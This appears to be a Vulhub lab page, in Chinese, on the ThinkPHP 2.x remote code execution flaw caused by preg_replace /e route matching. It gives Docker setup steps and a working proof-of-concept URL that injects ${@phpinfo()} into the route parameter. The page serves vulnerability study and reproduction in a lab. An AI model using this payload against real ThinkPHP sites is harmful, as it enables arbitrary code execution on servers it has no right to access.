ThinkPHP 2.x 任意代碼執行漏洞
Path thinkphp/2-rce
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
導致用戶的輸入參數被插入雙引號中執行,造成任意代碼執行漏洞。
ThinkPHP 3.0版本因為Lite模式下沒有修復該漏洞,也存在這個漏洞。
環境搭建
執行如下命令啟動ThinkPHP 2.1的Demo應用:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080/Index/Index即可查看到默認頁面。
漏洞復現
直接訪問http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D即可執行phpinfo():

Vulhub 文檔
推薦文章: